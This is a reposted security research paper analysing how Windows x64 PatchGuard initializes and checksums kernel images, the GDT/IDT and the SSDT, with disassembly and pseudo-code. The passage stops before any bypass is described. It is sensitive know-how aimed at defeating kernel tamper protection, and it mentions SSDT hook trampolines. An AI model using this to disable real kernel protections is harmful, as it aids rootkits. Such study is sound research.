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[转帖]Bypassing PatchGuard on Windows x64
发表于: 2007-1-4 17:56 16372

[转帖]Bypassing PatchGuard on Windows x64

2007-1-4 17:56
16372
Bypassing PatchGuard on Windows x64
skape & Skywing
Dec 1, 2005

1) Foreword

Abstract: The Windows kernel that runs on the x64 platform
has introduced a new feature, nicknamed PatchGuard, that is intended
to prevent both malicious software and third-party vendors from
modifying certain critical operating system structures.  These
structures include things like specific system images, the SSDT, the
IDT, the GDT, and certain critical processor MSRs.  This feature is
intended to ensure kernel stability by preventing uncondoned
behavior, such as hooking.  However, it also has the side effect of
preventing legitimate products from working properly.  For that
reason, this paper will serve as an in-depth analysis of
PatchGuard's inner workings with an eye toward techniques that can
be used to bypass it.  Possible solutions will also be proposed for
the bypass techniques that are suggested.

Thanks: The authors would like to thank westcose, bugcheck, uninformed,
Alex Ionescu, Filip Navara, and everyone who is motivated to learn by
their own self interest.

Disclaimer: The subject matter discussed in this document is
presented in the interest of education.  The authors cannot be held
responsible for how the information is used.  While the authors have
tried to be as thorough as possible in their analysis, it is possible
that they have made one or more mistakes.  If a mistake is observed,
please contact one or both of the authors so that it can be corrected.

2) Introduction

In the caste system of operating systems, the kernel is king.  And
like most kings, the kernel is capable of defending itself from the
lesser citizens, such as user-mode processes, through the castle
walls of privilege separation.  However, unlike most kings, the
kernel is typically unable to defend itself from the same privilege
level at which it operates.  Without the kernel being able to
protect its vital organs at its own privilege level, the entire
operating system is left open to modification and subversion if any
code is able to run with the same privileges as the kernel itself.

As it stands today, most kernel implementations do not provide a
mechanism by which critical portions of the kernel can be validated
to ensure that they have not been tampered with.  If existing
kernels were to attempt to deploy something like this in an
after-the-fact manner, it should be expected that a large number of
problems would be encountered with regard to compatibility.  While
most kernels intentionally do not document how internal aspects are
designed to function, like how system call dispatching works, it is
likely that at least one or more third-party vendor may depend on
some of the explicit behaviors of the undocumented implementations.

This has been exactly the case with Microsoft's operating systems.
Starting even in the days of Windows 95, and perhaps even prior to
that, Microsoft realized that allowing third-party vendors to
twiddle or otherwise play with various critical portions of the
kernel lead to nothing but headaches and stability problems, even
though it provided the highest level of flexibility.  While
Microsoft took a stronger stance with Windows NT, it has still
become the case that third-party vendors use areas of the kernel
that are of particular interest to accomplishing certain feats, even
though the means used to accomplish them require the use of
undocumented structures and functions.

While it's likely that Microsoft realized their fate long ago with
regard to losing control over the scope and types of changes they
could make to the kernel internally without affecting third-party
vendors, their ability to do anything about it has been drastically
limited.  If Microsoft were to deploy code that happened to prevent
major third-party vendors from being able to accomplish their goals
without providing an adequate replacement, then Microsoft would be
in a world of hurt that would most likely rhyme with
antitrust. Even though things have appeared bleak,
Microsoft got their chance to reclaim higher levels of flexibility
in the kernel with the introduction of the x64
architecture.  While some places used x64 to mean both AMD64
and IA64, this document will generally refer to x64 as an alias for
AMD64 only, though many of the comments may also apply to IA64.
Since the Windows kernel on the x64 architecture operates in 64-bit
mode, it stands as a requirement that all kernel-mode drivers also
be compiled to run and operate in native 64-bit mode.  There are a
number of reasons for this that are outside of the scope of this
document, but suffice it to say that attempting to design a thunking
layer for device drivers that are intended to have any real
considerations for performance should be enough to illustrate that
doing so would be a horrible idea.

By requiring that all device drivers be compiled natively as 64-bit
binaries, Microsoft effectively leveled the playing field on the new
platform and brought it back to a clean slate.  This allowed them to
not have to worry about potential compatibility conflicts with
existing products because of the simple fact that none had been
established. As third-party vendors ported their device drivers to
64-bit mode, any unsupported or uncondoned behavior on the part of
the driver could be documented as being prohibited on the x64
architecture, thus forcing the third-party to find an alternative
approach if possible. This is the dream of PatchGuard,
Microsoft's anti-patch protection system, and it seems logical that
such a goal is a reasonable one, but that's not the point of this
document.

Instead, this document will focus on the changes to the x64 kernel
that are designed to protect critical portions of the Windows kernel
from being modified.  This document will describe how the protection
mechanisms are implemented and what areas of the kernel are
protected. From there, a couple of different approaches that could
be used to disable and bypass the protection mechanisms will be
explained in detail as well as potential solutions to the bypass
techniques. In conclusion, the reasons and motivations will be
summarized and other solutions to the more fundamental problem will
be discussed.

The real purpose of this document, though, is to illustrate that it
is impossible to securely protect regions of code and data through
the use of a system that involves monitoring said regions at a
privilege level that is equal to the level at which third-party code
is capable of running. This fact is something that is well-known,
both by Microsoft and by the security population at large,
and it should be understood without requiring an explanation.  Going
toward the future, the operating system world will most likely begin
to see a shift toward more granular, hardware-enforced privilege
separation by implementing segregated trusted code bases.  The
questions this will raise with respect to open-source operating
systems and DRM issues should slowly begin to increase.  Only time
will tell.

3) Implementation

The anti-patching technology provided in the Windows x64 kernel,
nicknamed PatchGuard, is intended to protect critical kernel
structures from being modified outside of the context of approved
modifications, such as through Microsoft-controlled hot patching. At
the time of this writing, PatchGuard is designed to protect the
following critical structures:

    - SSDT (System Service Descriptor Table)
    - GDT (Global Descriptor Table)
    - IDT (Interrupt Descriptor Table)
    - System images (ntoskrnl.exe, ndis.sys, hal.dll)
    - Processor MSRs (syscall)

At a high-level, PatchGuard is implemented in the form of a set of
routines that cache known-good copies and/or checksums of structures
which are then validated at certain random time intervals (roughly
every 5 - 10 minutes).  The reason PatchGuard is implemented in a
polling fashion rather than in an event-driven or hardware-backed
fashion is because there is no native hardware level support for the
things that PatchGuard is attempting to accomplish.  For that
reason, a number of the tricks that PatchGuard resorted to were done
so out of necessity.

The team that worked on PatchGuard was admittedly very clever.  They
realized the limitations of implementing an anti-patching model in a
fashion described in the introduction and thus were forced to resort
to other means by which they might augment the protection
mechanisms.  In particular, PatchGuard makes extensive use of
security through obscurity by using tactics like misdirection,
misnamed functions, and general code obfuscation.  While many would
argue that security through obscurity adds nothing, the authors
believe that it's merely a matter of raising the bar high enough so
as to eliminate a significant number of people from being able to
completely understand something.

The code to initialize PatchGuard begins early on in the boot
process as part of nt!KeInitSystem.  And that's where the fun begins.

3.1) Initializing PatchGuard

The initialization of PatchGuard is multi-faceted, but it all has to
start somewhere.  In this case, the initialization of PatchGuard starts
in a function with a symbol name that has nothing to do with anti-patch
protections at all.  In fact, it's named KiDivide6432 and the only thing
that it does is a division operation as shown in the code below:

ULONG KiDivide6432(
    IN ULONG64 Dividend,
    IN ULONG Divisor)
{
    return Dividend / Divisor;
}

Though this function may look innocuous, it's actually the first time
PatchGuard attempts to use misdirection to hide its actual intentions.
In this case, the call to nt!KiDivide6432 is passed a dividend value
from nt!KiTestDividend.  The divisor is hard-coded to be 0xcb5fa3.  It
appears that this function is intended to masquerade as some type of
division test that ensures that the underlying architecture supports
division operations.  If the call to the function does not return the
expected result of 0x5ee0b7e5, nt!KeInitSystem will bug check the
operating system with bug check code 0x5d which is UNSUPPORTED_PROCESSOR
as shown below:

nt!KeInitSystem+0x158:
fffff800`014212c2 488b0d1754d5ff   mov     rcx,[nt!KiTestDividend]
fffff800`014212c9 baa35fcb00       mov     edx,0xcb5fa3
fffff800`014212ce e84d000000       call    nt!KiDivide6432
fffff800`014212d3 3de5b7e05e       cmp     eax,0x5ee0b7e5
fffff800`014212d8 0f8519b60100     jne     nt!KeInitSystem+0x170

...

nt!KeInitSystem+0x170:
fffff800`0143c8f7 b95d000000       mov     ecx,0x5d
fffff800`0143c8fc e8bf4fc0ff       call    nt!KeBugCheck

When attaching with local kd, the value of nt!KiTestDividend is found to
be hardcoded to 0x014b5fa3a053724c such that doing the division
operation, 0x014b5fa3a053724c divided by 0xcb5fa3, produces 0x1a11f49ae.
That can't be right though, can it?  Obviously, the code above indicates
that any value other than 0x5ee0b7e5 will lead to a bug check, but it's
also equally obvious that the machine does not bug check on boot, so
what's going on here?

The answer involves a good old fashion case of ingenuity.  The result of
the the division operation above is a value that is larger than 32 bits.
The AMD64 instruction set reference manual indicates that the div
instruction will produce a divide error fault when an overflow of the
quotient occurs.  This means that as long as nt!KiTestDividend is set to
the value described above, a divide error fault will be triggered
causing a hardware exception that has to be handled by the kernel.  This
divide error fault is what actually leads to the indirect initialization
of the PatchGuard subsystem.  Before going down that route, though, it's
important to understand one of the interesting aspects of the way
Microsoft did this.

One of the interesting things about nt!KiTestDividend is that it's
actually unioned with an exported symbol that is used to indicate
whether or not a debugger is, well, present.  This symbol is named
nt!KdDebuggerNotPresent and it overlaps with the high-order byte of
nt!KiTestDividend as shown below:

TestDividend L1
fffff800`011766e0  014b5fa3`a053724c
lkd> db nt!KdDebuggerNotPresent L1
fffff800`011766e7  01

The nt!KdDebuggerNotPresent global variable will be set to zero if a
debugger is present.  If a debugger is not present, the value will be
one (default).  If the above described division operation is performed
while a debugger is attached to the system during boot, which would
equate to dividing 0x004b5fa3a053724c by 0xcb5fa3, the resultant
quotient will be the expected value of 0x5ee0b7e5.  This means that if a
debugger is attached to the system prior to the indirect initialization
of the PatchGuard protections, then the protections will not be
initialized because the divide error fault will not be triggered.  This
coincides with the documented behavior and is intended to allow driver
developers to continue to be able to set breakpoints and perform other
actions that may indirectly modify monitored regions of the kernel in a
debugging environment.  However, this only works if the debugger is
attached to the system during boot.  If a developer subsequently
attaches a debugger after PatchGuard has initialized, then the act of
setting breakpoints or performing other actions may lead to a bluescreen
as a result of PatchGuard detecting the alterations.  Microsoft's choice
to initialize PatchGuard in this manner allows it to transparently
disable protections when a debugger is attached and also acts as a means
of hiding the true initialization vector.

With the unioned aspect of nt!KiTestDividend understood, the next step
is to understand how the divide error fault actually leads to the
initialization of the PatchGuard subsystem.  For this aspect it is
necessary to start at the places that all divide error faults go:
nt!KiDivideErrorFault.

The indirect triggering of nt!KiDivideErrorFault leads to a series of
function calls that eventually result in nt!KiOpDiv being called to
handle the divide error fault for the div instruction.  The nt!KiOpDiv
routine appears to be responsible for preprocessing the different kinds
of divide errors, like divide by zero.  Although it may look normal at
first glance, nt!KiOpDiv also has a darker side.  The stack trace that
leads to the calling of nt!KiOpDiv is shown below.  For those curious as
to how the authors were able to debug the PatchGuard initialization
vector that is intended to be disabled when a debugger is attached, one
method is to simply break on the div instruction in nt!KiDivide6432 and
change r8d to zero.  This will generate the divide error fault and lead
to the calling of the PatchGuard initialization routines. In order to
allow the machine to boot normally, a breakpoint must be set on
nt!KiDivide6432 after the fact to automatically restore r8d to 0xcb5fa3:

kd> k
Child-SP          RetAddr           Call Site
fffffadf`e4a15f90 fffff800`010144d4 nt!KiOp_Div+0x29
fffffadf`e4a15fe0 fffff800`01058d75 nt!KiPreprocessFault+0xc7
fffffadf`e4a16080 fffff800`0104172f nt!KiDispatchException+0x85
fffffadf`e4a16680 fffff800`0103f5b7 nt!KiExceptionExit
fffffadf`e4a16800 fffff800`0142132b nt!KiDivideErrorFault+0xb7
fffffadf`e4a16998 fffff800`014212d3 nt!KiDivide6432+0xb
fffffadf`e4a169a0 fffff800`0142a226 nt!KeInitSystem+0x169
fffffadf`e4a16a50 fffff800`01243e09 nt!Phase1InitializationDiscard+0x93e
fffffadf`e4a16d40 fffff800`012b226e nt!Phase1Initialization+0x9
fffffadf`e4a16d70 fffff800`01044416 nt!PspSystemThreadStartup+0x3e
fffffadf`e4a16dd0 00000000`00000000 nt!KxStartSystemThread+0x16

The first thing that nt!KiOpDiv does prior to processing the actual
divide fault is to call a function named nt!KiFilterFiberContext.  This
function seems oddly named not only in the general sense but also in the
specific context of a routine that is intended to be dealing with divide
faults.  By looking at the body of nt!KiFilterFiberContext, its
intentions quickly become clear:

nt!KiFilterFiberContext:
fffff800`01003ac2 53               push    rbx
fffff800`01003ac3 4883ec20         sub     rsp,0x20
fffff800`01003ac7 488d0552d84100   lea     rax,[nt!KiDivide6432]
fffff800`01003ace 488bd9           mov     rbx,rcx
fffff800`01003ad1 4883c00b         add     rax,0xb
fffff800`01003ad5 483981f8000000   cmp     [rcx+0xf8],rax
fffff800`01003adc 0f855d380c00     jne     nt!KiFilterFiberContext+0x1d
fffff800`01003ae2 e899fa4100       call    nt!KiDivide6432+0x570

It appears that this chunk of code is designed to see if the address
that the fault error occurred at is equal to nt!KiDivide6432 + 0xb.  If
one adds 0xb to nt!KiDivide6432 and disassembles the instruction at that
address, the result is:

nt!KiDivide6432+0xb:
fffff800`0142132b 41f7f0           div     r8d

This coincides with what one would expect to occur when the quotient
overflow condition occurs.  According to the disassembly above, if the
fault address is equal to nt!KiDivide6432 + 0xb, then an unnamed symbol
is called at nt!KiDivide6432 + 0x570.  This unnamed symbol will
henceforth be referred to as nt!KiInitializePatchGuard, and it is what
drives the set up of the PatchGuard subsystem.

The nt!KiInitializePatchGuard routine itself is quite large.  It handles
the initialization of the contexts that will monitor certain system
images, the SSDT, processor GDT/IDT, certain critical MSRs, and certain
debugger-related routines.  The very first thing that the initialization
routine does is to check to see if the machine is being booted in safe
mode.  If it is being booted in safe mode, the PatchGuard subsystem will
not be enabled as shown below:

nt!KiDivide6432+0x570:
fffff800`01423580 4881ecd8020000   sub     rsp,0x2d8
fffff800`01423587 833d22dfd7ff00   cmp     dword ptr [nt!InitSafeBootMode],0x0
fffff800`0142358e 0f8504770000     jne     nt!KiDivide6432+0x580

...

nt!KiDivide6432+0x580:
fffff800`0142ac98 b001             mov     al,0x1
fffff800`0142ac9a 4881c4d8020000   add     rsp,0x2d8
fffff800`0142aca1 c3               ret

Once the safe mode check has passed, nt!KiInitializePatchGuard begins
the PatchGuard initialization by calculating the size of the INITKDBG
section in ntoskrnl.exe.  It accomplishes this by passing the address of
a symbol found within that section, nt!FsRtlUninitializeSmallMcb, to
nt!RtlPcToFileHeader.  This routine passes back the base address of nt
in an output parameter that is subsequently passed to
nt!RtlImageNtHeader.  This method returns a pointer to the image's
IMAGENTHEADERS structure.  From there, the virtual address of
nt!FsRtlUninitializeSmallMcb is calculated by subtracting the base
address of nt from it.  The calculated RVA is then passed to
nt!RtlSectionTableFromVirtualAddress which returns a pointer to the
image section that nt!FsRtlUninitializeSmallMcb resides in.  The
debugger output below shows what rax points to after obtaining the image
section structure:

kd> ? rax
Evaluate expression: -8796076244456 = fffff800`01000218
kd> dt nt!_IMAGE_SECTION_HEADER fffff800`01000218
+0x000 Name             : [8]  "INITKDBG"
+0x008 Misc             : <unnamed-tag>
+0x00c VirtualAddress   : 0x165000
+0x010 SizeOfRawData    : 0x2600
+0x014 PointerToRawData : 0x163a00
+0x018 PointerToRelocations : 0
+0x01c PointerToLinenumbers : 0
+0x020 NumberOfRelocations : 0
+0x022 NumberOfLinenumbers : 0
+0x024 Characteristics  : 0x68000020

The whole reason behind this initial image section lookup has to do with
one of the ways in which PatchGuard obfuscates and hides the code that
it executes.  In this case, code within the INITKDBG section will
eventually be copied into an allocated protection context that will be
used during the validation phase.  The reason that this is necessary
will be discussed in more detail later.

After collecting information about the INITKDBG image section, the
PatchGuard initialization routine performs the first of many
pseudo-random number generations.  This code can be seen throughout the
PatchGuard functions and has a form that is similar to the code shown
below:

fffff800`0142362d 0f31                 rdtsc
fffff800`0142362f 488bac24d8020000     mov     rbp,[rsp+0x2d8]
fffff800`01423637 48c1e220             shl     rdx,0x20
fffff800`0142363b 49bf0120000480001070 mov     r15,0x7010008004002001
fffff800`01423645 480bc2               or      rax,rdx
fffff800`01423648 488bcd               mov     rcx,rbp
fffff800`0142364b 4833c8               xor     rcx,rax
fffff800`0142364e 488d442478           lea     rax,[rsp+0x78]
fffff800`01423653 4833c8               xor     rcx,rax
fffff800`01423656 488bc1               mov     rax,rcx
fffff800`01423659 48c1c803             ror     rax,0x3
fffff800`0142365d 4833c8               xor     rcx,rax
fffff800`01423660 498bc7               mov     rax,r15
fffff800`01423663 48f7e1               mul     rcx
fffff800`01423666 4889442478           mov     [rsp+0x78],rax
fffff800`0142366b 488bca               mov     rcx,rdx
fffff800`0142366e 4889942488000000     mov     [rsp+0x88],rdx
fffff800`01423676 4833c8               xor     rcx,rax
fffff800`01423679 48b88fe3388ee3388ee3 mov     rax,0xe38e38e38e38e38f
fffff800`01423683 48f7e1               mul     rcx
fffff800`01423686 48c1ea03             shr     rdx,0x3
fffff800`0142368a 488d04d2             lea     rax,[rdx+rdx*8]
fffff800`0142368e 482bc8               sub     rcx,rax
fffff800`01423691 8bc1                 mov     eax,ecx

This pseudo-random number generator uses the rdtsc instruction as a seed
and then proceeds to perform various bitwise and multiplication
operations until the end result is produced in eax.  The result of this
first random number generator is used to index an array of pool tags
that are used for PatchGuard memory allocations. This is an example of
one of the many ways in which PatchGuard attempts to make it harder to
find its own internal data structures in memory. In this case, it adopts
a random legitimate pool tag in an effort to blend in with other memory
allocations. The code block below shows how the pool tag array is
indexed and where it can be found in memory:

fffff800`01423693 488d0d66c9bdff   lea     rcx,[nt]
fffff800`0142369a 448b848100044300 mov     r8d,[rcx+rax*4+0x430400]

In this case, the random number is stored in the rax register which is
used to index the array of pool tags found at nt+0x430400.  The fact
that the array is referenced indirectly might be seen as another attempt
at obfuscation in a bid to make what is occurring less obvious at a
glance.  If the pool tag array address is dumped in the debugger, all of
the pool tags that could possibly be used by PatchGuard can be seen:

lkd> db nt+0x430400
41 63 70 53 46 69 6c 65-49 70 46 49 49 72 70 20  AcpSFileIpFIIrp
4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61  MutaNtFsNtrfSema
54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff  TCPc.....;......

After the fake pool tag has been selected from the array at random,
the PatchGuard initialization routine proceeds by allocating a random
amount of storage that is bounded at a minimum by the virtual size of
the INITKDBG section plus 0x1b8 and at a maximum by the minimum plus
0x7ff. The magic value 0x1b8 that is expressed in the minimum size is
actually the size of the data structure that is used by PatchGuard to
store context-specific protection information, as will be shown later.
The fake pool tag and the random size are then used to allocate storage
from the NonPagedPool as shown in the pseudo-code below:

Context = ExAllocatePoolWithTag(
    NonPagedPool,
    (InitKdbgSection->VirtualSize + 0x1b8) + (RandSize & 0x7ff),
    PoolTagArray[RandomPoolTagIndex]);

If the allocation of the context succeeds, the initialization routine
zeroes its contents and then starts initializing some of the structure's
attributes.  The context returned by the allocation will henceforth be
referred to as a structure of type PATCHGUARD_CONTEXT.  The first 0x48
bytes of the structure are actually composed of code that is copied from
the misleading symbol named nt!CmpAppendDllSection. This function is
actually used to decrypt the structure at runtime, as will be seen
later. After nt!CmpAppendDllSection is copied to the first 0x48 bytes of
the data structure, the initialization routine sets up a number of
function pointers that are stored within the structure.  The routines
that it stores the addresses of and the offsets within the PatchGuard
context data structure are shown below.

  +--------+-------------------------------------------+
  | Offset | Symbol                                    |
  +--------+-------------------------------------------+
  | 0x48   | nt!ExAcquireResourceSharedLite            |
  | 0x50   | nt!ExAllocatePoolWithTag                  |
  | 0x58   | nt!ExFreePool                             |  
  | 0x60   | nt!ExMapHandleToPointer                   |
  | 0x68   | nt!ExQueueWorkItem                        |
  | 0x70   | nt!ExReleaseResourceLite                  |
  | 0x78   | nt!ExUnlockHandleTableEntry               |
  | 0x80   | nt!ExAcquireGuardedMutex                  |
  | 0x88   | nt!ObDereferenceObjectEx                  |
  | 0x90   | nt!KeBugCheckEx                           |
  | 0x98   | nt!KeInitializeDpc                        |
  | 0xa0   | nt!KeLeaveCriticalRegion                  |
  | 0xa8   | nt!KeReleaseGuardedMutex                  |
  | 0xb0   | nt!ObDereferenceObjectEx2                 |
  | 0xb8   | nt!KeSetAffinityThread                    |
  | 0xc0   | nt!KeSetTimer                             |
  | 0xc8   | nt!RtlImageDirectoryEntryToData           |
  | 0xd0   | nt!RtlImageNtHeaders                      |
  | 0xd8   | nt!RtlLookupFunctionEntry                 |
  | 0xe0   | nt!RtlSectionTableFromVirtualAddress      |
  | 0xe8   | nt!KiOpPrefetchPatchCount                 |
  | 0xf0   | nt!KiProcessListHead                      |
  | 0xf8   | nt!KiProcessListLock                      |
  | 0x100  | nt!PsActiveProcessHead                    |
  | 0x108  | nt!PsLoadedModuleList                     |
  | 0x110  | nt!PsLoadedModuleResource                 |
  | 0x118  | nt!PspActiveProcessMutex                  |
  | 0x120  | nt!PspCidTable                            |
  +--------+-------------------------------------------+

          PATCHGUARD_CONTEXT function pointers

The reason that PatchGuard uses function pointers instead of calling the
symbols directly is most likely due to the relative addressing mode used
in x64.  Since the PatchGuard code runs dynamically from unpredictable
addresses, it would be impossible to use the relative addressing mode
without having to fix up instructions -- a task that would no doubt be
painful and not really worth the trouble.  The authors do not see any
particular advantage gained in terms of obfuscation by the use of
function pointers stored in the PatchGuard context structure.

After all of the function pointers have been set up, the initialization
routine proceeds by picking another random pool tag that is used for
subsequent allocations and stores it at offset 0x188 within the
PatchGuard context structure.  After that, two more random numbers are
generated, both of which are used later on during the encryption phase
of the structure.  One is used as a random number of rotate bits, the
other is used as an XOR seed.  The XOR seed is stored at offset 0x190
and the random rotate bits value is stored at offset 0x18c.

The next step taken by the initialization routine is to acquire the
number of bits that can be used to represent the virtual address space
by querying the processor via through the cpuid ExtendedAddressSize
(0x80000008) extended function.  The result is stored at offset 0x1b4
within the PatchGuard context structure.

Finally, the last major step before initializing the individual
protection sub-contexts is the copying of the contents of the INITKDBG
section to the allocated PatchGuard context structure.  The copy
operation looks something like the pseudo code below:

memmove(
    (PCHAR)PatchGuardContext + sizeof(PATCHGUARD_CONTEXT),
    NtImageBase + InitKdbgSection->VirtualAddress,
    InitKdbgSection->VirtualSize);

With the primary portions of the PatchGuard context structure
initialized, the next logical step is to initialize the sub-contexts
that are specific to the things that are actually being protected.

3.2) Protected Structure Initialization

The structures that PatchGuard protects are represented by individual
sub-context structures.  These structures are composed at the beginning
by the contents of the parent PatchGuard structure (PATCHGUARD_CONTEXT).
This includes the function pointers and other values assigned to the
parent.  The sub-contexts are identified by general types that provide
the validation routine with something to key off of.

This section will explain how each of the individual structures have
their protection sub-contexts initialized.  At the time of this writing,
the structures have their protection sub-contexts initialized in the
order described below:

    - System images
    - SSDT
    - GDT/IDT/MSRs
    - Debug routines

After all the sub-contexts have been initialized, the parent protection
context is XOR'd and a timer is initialized and set.  The purpose of
this timer, as will be shown, is to run the validation half of the
PatchGuard subsystem on the data that is collected.  Aside from the
specific protection sub-contexts listed in the following subsections, it
was observed by the authors that the routine that initializes the
PatchGuard subsystem also allocated sub-context structures of types that
could not be immediately discerned.  In particular, these types had the
sub-context identifiers of 0x4 and 0x5.

3.2.1) System Images

The protection of certain key kernel images is one of the more critical
aspects of PatchGuard's protection schemes.  If a driver were still able
to hook functions in nt, ndis, or any other key kernel components, then
PatchGuard would be mostly irrelevant.  In order to address this
concern, PatchGuard performs a set of operations that are intended to
ensure that system images cannot be tampered with.  The table in figure
shows which kernel images are currently protected by this scheme.

         +--------------+
         | Image Name   |
         +--------------+
         | ntoskrnl.exe |
         | hal.dll      |
         | ndis.sys     |
         +--------------+

      Protected kernel images

The approach taken to protect each of these images is the same.  To kick
things off, the address of a symbol that resides within the image is
passed to a PatchGuard sub-routine that will be referred to as
nt!PgCreateImageSubContext.  This routine is prototyped as shown below:

NTSTATUS PgCreateImageSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN LPVOID SymbolAddress);

For ntoskrnl.exe, the address of nt!KiFilterFiberContext is passed in as
the symbol address.  For hal.dll, the address of HalInitializeProcessor
is passed.  Finally, the address passed for ndis.sys is its entry point
address which is obtained through a call to nt!GetModuleEntryPoint.

Inside nt!PgCreateImageSubContext, the basic approach taken to protect
the images is through the generation of a few distinct PatchGuard
sub-contexts.  The first sub-context is designed to hold the checksum of
an individual image's sections, with a few exceptions. The second and
third sub-contexts hold the checksum of an image's Import Address Table
(IAT) and Import Directory, respectively.  These routines all make use
of a shared routine that is responsible for generating a protection
sub-context that holds the checksum for a block of memory using the
random XOR key and random rotate bits stored in the parent PatchGuard
context structure.  The prototype for this routine is shown below:

typedef struct BLOCK_CHECKSUM_STATE
{
    ULONG   Unknown;
    ULONG64 BaseAddress;
    ULONG   BlockSize;
    ULONG   Checksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;

PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
    IN PPATCHGUARD_CONTEXT Context,
    IN ULONG Unknown,
    IN PVOID BlockAddress,
    IN ULONG BlockSize,
    IN ULONG SubContextSize,
    OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);

The block checksum sub-context stores the checksum state at the end of
the PATCHGUARDC_ONTEXT.  The checksum state is stored in a
BLOCK_CHECKSUM_STATE structure.  The Unknown attribute of the structure is
initialized to the Unknown parameter from
nt!PgCreateBlockChecksumSubContext.  The purpose of this field was not
deduced, but the value was set to zero during debugging.

The checksum algorithm used by the routine is fairly simple.  The
pseudo-code below shows how it works conceptually:

ULONG64 Checksum = Context->RandomHashXorSeed;
ULONG   Checksum32;

// Checksum 64-bit blocks
while (BlockSize >= sizeof(ULONG64))
{
    Checksum    ^= *(PULONG64)BaseAddress;
    Checksum     = RotateLeft(Checksum, Context->RandomHashRotateBits);
    BlockSize   -= sizeof(ULONG64);
    BaseAddress += sizeof(ULONG64);
}

// Checksum aligned blocks
while (BlockSize-- > 0)
{
    Checksum    ^= *(PUCHAR)BaseAddress;
    Checksum     = RotateLeft(Checksum, Context->RandomHashRotateBits);
    BaseAddress++;
}

Checksum32 = (ULONG)Checksum;

Checksum >>= 31;

do
{
    Checksum32  ^= (ULONG)Checksum;
    Checksum   >>= 31;
} while (Checksum);

The end result is that Checksum32 holds the checksum of the block which
is subsequently stored in the Checksum attribute of the checksum state
structure along with the original block size and block base address that
were passed to the function.

For the purpose of initializing the checksum of image sections,
nt!PgCreateImageSubContext calls into nt!PgCreateImageSectionSubContext
which is prototyped as:

PPATCHGUARD_SUB_CONTEXT PgCreateImageSectionSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN PVOID SymbolAddress,
    IN ULONG SubContextSize,
    IN PVOID ImageBase);

This routine first checks to see if nt!KiOpPrefetchPatchCount is zero.
If it is not, a block checksum context is created that does not cover
all of the sections in the image.  This could presumably be related to
detecting whether or not hot patches have been applied, but this has not
been confirmed. Otherwise, the function appears to enumerate the various
sections included in the supplied image, calculating the checksum across
each.  It appears to exclude checksums of sections named INIT, PAGEVRFY,
PAGESPEC, and PAGEKD.

To account for an image's Import Address Table and Import Directory,
nt!PgCreateImageSubContext calls nt!PgCreateBlockChecksumSubContext on
the directory entries for both, but only if the directory entries exist
and are valid for the supplied image.

3.2.2)  GDT/IDT

The protection of the Global Descriptor Table (GDT) and the Interrupt
Descriptor Table (IDT) is another important feature of PatchGuard.  The
GDT is used to describe memory segments that are used by the kernel.  It
is especially lucrative to malicious applications due to the fact that
modifying certain key GDT entries could lead to non-privileged,
user-mode applications being able to modify kernel memory.  The IDT is
also useful, both in a malicious context and in a legitimate context.
In some cases, third parties may wish to intercept certain hardware or
software interrupts before passing it off to the kernel.  Unless done
right, hooking IDT entries can be very dangerous due to the
considerations that have to be made when running in the context of an
interrupt request handler.

The actual implementation of GDT/IDT protection is accomplished through
the use of the nt!PgCreateBlockChecksumSubContext function which is
passed the contents of both descriptor tables.  Since the registers that
hold the GDT and IDT are relative to a given processor, PatchGuard
creates a separate context for each table on each individual processor.
To obtain the address of the GDT and the IDT for a given processor,
PatchGuard first uses nt!KeSetAffinityThread to ensure that it's running
on a specific processor.  After that, it makes a call to nt!KiGetGdtIdt
which stores the GDT and the IDT base addresses as output parameters as
shown in the prototype below:

VOID KiGetGdtIdt(
    OUT PVOID *Gdt,
    OUT PVOID *Idt);

The actual protection of the GDT and the IDT is done in the context of
two separate functions that have been labeled nt!PgCreateGdtSubContext
and PgCreateIdtSubContext.  These routines are prototyped as shown
below:

PPATCHGUARD_SUB_CONTEXT PgCreateGdtSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN UCHAR ProcessorNumber);

PPATCHGUARD_SUB_CONTEXT PgCreateIdtSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN UCHAR ProcessorNumber);

Both routines are called in the context of a loop that iterates across
all of the processors on the machine with respect to
nt!KeNumberProcessors.

3.2.3) SSDT

One of the areas most notorious for being hooked by third-party drivers
is the System Service Descriptor Table, also known as the SSDT.  This
table contains information about the service tables that are used by the
operating for dispatching system calls.  On Windows x64 kernels,
nt!KeServiceDescriptorTable conveys the address of the actual dispatch
table and the number of entries in the dispatch table for the native
system call interface.  In this case, the actual dispatch table is
stored as an array of relative offsets in nt!KiServiceTable.  The
offsets are relative to the array itself using relative addressing.  To
obtain the absolute address of system service routines, the following
approach can be used:

lkd> u dwo(nt!KiServiceTable)+nt!KiServiceTable L1
nt!NtMapUserPhysicalPagesScatter:
fffff800`013728b0 488bc4           mov     rax,rsp
lkd> u dwo(nt!KiServiceTable+4)+nt!KiServiceTable L1
nt!NtWaitForSingleObject:
fffff800`012b83a0 4c89442418       mov     [rsp+0x18],r8

The fact that the dispatch table now contains an array of relative
addresses is one hurdle that driver developers who intend to port system
call hooking code from 32-bit platforms to the x64 kernel will have to
overcome.  One solution to the relative address problem is fairly
simple.  There are plenty of places within the 2 GB of relative
addressable memory that a trampoline could be placed for a hook routine.
For instance, there is often alignment padding between symbols.  This
approach is rather hackish and it depends on the fact that PatchGuard is
forcibly disabled.  However, there are also other, more elegant
approaches to accomplishing this that require neither.

As far as protecting the system service table is concerned, PatchGuard
protects both the native system service dispatch table stored in
nt!KiServiceTable as well as the nt!KeServiceDescriptorTable structure
itself.  This is done by making use of the
nt!PgCreateBlockChecksumSubContext routine that was mentioned in the
section on system images ().  The following code shows how the block
checksum routine is called for both items:

PgCreateBlockChecksumSubContext(
    ParentContext,
    0,
    KeServiceDescriptorTable->DispatchTable, // KiServiceTable
    KiServiceLimit * sizeof(ULONG),
    0,
    NULL);

PgCreateBlockChecksumSubContext(
    ParentContext,
    0,
    &KeServiceDescriptorTable,
    0x20,
    0,
    NULL);

The reason the nt!KeServiceDescriptorTable structure is also
protected is to prevent the modification of the attribute that
points to the actual dispatch table.

3.2.4)  Processor MSRs

The latest and greatest processors have greatly improved the methods
